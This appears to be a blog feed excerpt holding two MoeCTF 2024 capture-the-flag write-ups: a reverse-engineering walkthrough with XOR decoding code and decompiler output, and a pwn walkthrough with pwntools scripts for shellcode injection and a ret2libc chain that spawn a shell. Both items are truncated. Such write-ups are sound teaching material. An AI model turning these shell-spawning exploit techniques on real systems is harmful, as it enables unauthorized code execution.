c4f3b4b3 - MoeCTF
type: channel
link: https://blog.hxzzz.asia/category/MoeCTF/
items: MoeCTF2024 Reverse Official Writeup
items: MoeCTF 2024 Pwn

MoeCTF2024 Reverse Official Writeup
type: item
date: 2024-10-12T21:01:00+08:00
description: 关于WPAuthor: 0xcafebabe第三方题目（非XDSEC成员）: 1.xor(大嘘) (Author: 中国人民警察大学的：Chovy)2.Cython-Strike: Bomb Defusion (Author: 西安电子科技大学的：不玩逆向爱玩CS的同学)入门指北下载PDF，了解里面关于XOR的讲解内容后，可以发现直接给出了解题代码。#include <iostream> int main() { char password_enc[] = { 123, 121, 115, 117, 98, 112, 109, 100, 37, 96, 37, 100, 101, 37, 73, 39, 101, 73, 119, 73, 122, 121, 120, 113, 73, 122, 121, 120, 113, 73, 97, 119, 111, 73, 98, 121, 73, 115, 110, 102, 122, 121, 100, 115, 107, 22 }; // 因为a^b=c时, b^c=a, 所以我们可以这样还原数据: char password[47]; for (int i = 0; i < 46; i++) { password[i] = password_enc[i] ^ 22; } password[46] = 0; // 使用0字符来截断掉%s的无尽输出.. printf("%s\n", password); // 哈哈，这就是本题的f l a g，自己运行一下交上去吧！ return 0; }可以拿到flagmoectf{r3v3rs3_1s_a_long_long_way_to_explore}Xor拿到附件后发现是Windows下的可执行文件(.exe)，我们载入IDA后可以观察到反编译的代码int __fastcall main(int argc, const char **argv, const char **envp) { FILE *v3; // rax __int64 i; // rax char Buffer[16]; // [rsp+20h] [rbp-48h] BYREF __int128 v7; // [rsp+30h] [rbp-38h] __int64 v8; // [rsp+40h] [rbp-28h] int v9; // [rsp+48h] [rbp-20h] char v10; // [rsp+4Ch] [rbp-1Ch] sub_140001010("Input Your Flag moectf{xxx} (len = 45) \n"); v8 = 0LL; *(_OWORD *)Buffer = 0LL; v9 = 0; v7 = 0LL; v10 = 0; v3 = _acrt_iob_func(0); fgets(Buffer, 45, v3); for ( i = 0LL; i < 44; ++i ) { if ( ((unsigned __int8)Buffer[i] ^ 0x24) != byte_1400022B8[i] ) { sub_140001010("FLAG is wrong!\n"); system("pause"); exit(0); } } sub_140001010("FLAG is RIGHT!\n"); system("pause"); return 0; }我们注意到 char Buffer[16]; // [rsp+20h] [rbp-48h] BYREF这个变量的大小是16，但是下面 fgets(Buffer, 45, v3);的大小是45，可以推测这个变量的大小反编译错误了。我们按y改成45，再刷新看代码。int __fastcall main(int argc, const char **argv, const char **envp) { FILE *v3; // rax __int64 i; // rax char Buffer[48]; // [rsp+20h] [rbp-48h] BYREF sub_140001010("Input Your Flag moectf{xxx} (len = 45) \n"); memset(Buffer, 0, 45); v3 = _acrt_iob_func(0); fgets(Buffer, 45, v3); for ( i = 0LL; i < 44; ++i ) { if ( ((unsigned __int8)Buffer[i] ^ 0x24) != byte_1400022B8[i] ) { sub_140001010("FLAG is wrong…

MoeCTF 2024 Pwn
type: item
date: 2024-10-12T21:00:00+08:00
description: 关于非官方WP，只是本人闲来无事学一学。ez_shellcode先checksec用IDA打开，可以看到是一个标准的shellcode题，给的gift是为了我们跳转到shellcode运行所以思路就是，第一个随便输入一个大数，第二个我们需要植入shellcode，并且使用Gadget进行中间跳转。显然shellcode必须在合理范围内，然后Gadget在栈溢出后进行跳转。#! /usr/bin/env python3 from pwn import * context(log_level='debug', arch='amd64', os='linux', terminal = ['tmux', 'sp', '-h', '-p', '70']) file_name = './pwn' # io = process(file_name) io = remote('127.0.0.1', 54533) # gdb.attach(io) sh = asm(shellcraft.sh()) io.recvuntil('age:\n') io.sendline(b'200') io.recvuntil('you :\n') gift = io.recvuntil('\n') gift = eval(gift.decode()) # 通过nop对齐把shellcode弄到栈内，并且gift进行栈溢出，0x101a是gadget ret ow = sh.ljust(0x60 + 0x8, b'\x90') + p64(gift) + p64(0x101a) io.sendline(ow) io.interactive()这是什么？libc！ropper --file libc.so.6 --search "pop rdi; ret;"ropper --file libc.so.6 --search "ret;"#! /usr/bin/env python3 from pwn import * context(log_level='debug', arch='amd64', os='linux', terminal = ['tmux', 'sp', '-h', '-p', '70']) file_name = './prelibc' elf = ELF(file_name) libc = ELF('./libc.so.6') # io = process(file_name) io = remote('127.0.0.1', 9158) # gdb.attach(io) io.recvuntil(b'libc: ') puts_addr = io.recvuntil(b'.')[:-1].decode() puts_addr = eval(puts_addr) libc_addr = puts_addr - libc.sym['puts'] log.success('libc_addr = ' + hex(libc_addr)) system_addr = libc_addr + libc.sym['system'] bin_sh_str = libc_addr + next(libc.search(b'/bin/sh\x00')) gadget_rdi_ret = libc_addr + 0x000000000002a3e5 gadget_ret = libc_addr + 0x00000000000f8c92 io.sendlineafter(b'\n> ', cyclic(1 + 0x8) + p64(gadget_rdi_ret) + p64(bin_sh_str) + p64(gadget_ret) + p64(system_addr)) io.interactive()这是什么？shellcode！shellcraft.sh()这是什么？random！#! /usr/bin/env python3 from pwn import * context(log_level='debug', arch='amd64', os='linux', terminal = ['tmux', 'sp', '-h', '-p', '70']) file_name = './prerandom' elf = ELF(file_name) libc = ELF('./libc.so.6') # io = process(file_name) io = remote('127.0.0.1', 30991) rands = [94628, 29212, 40340, 61479, 52327, 69717, 13474, 57303, 18980, 867…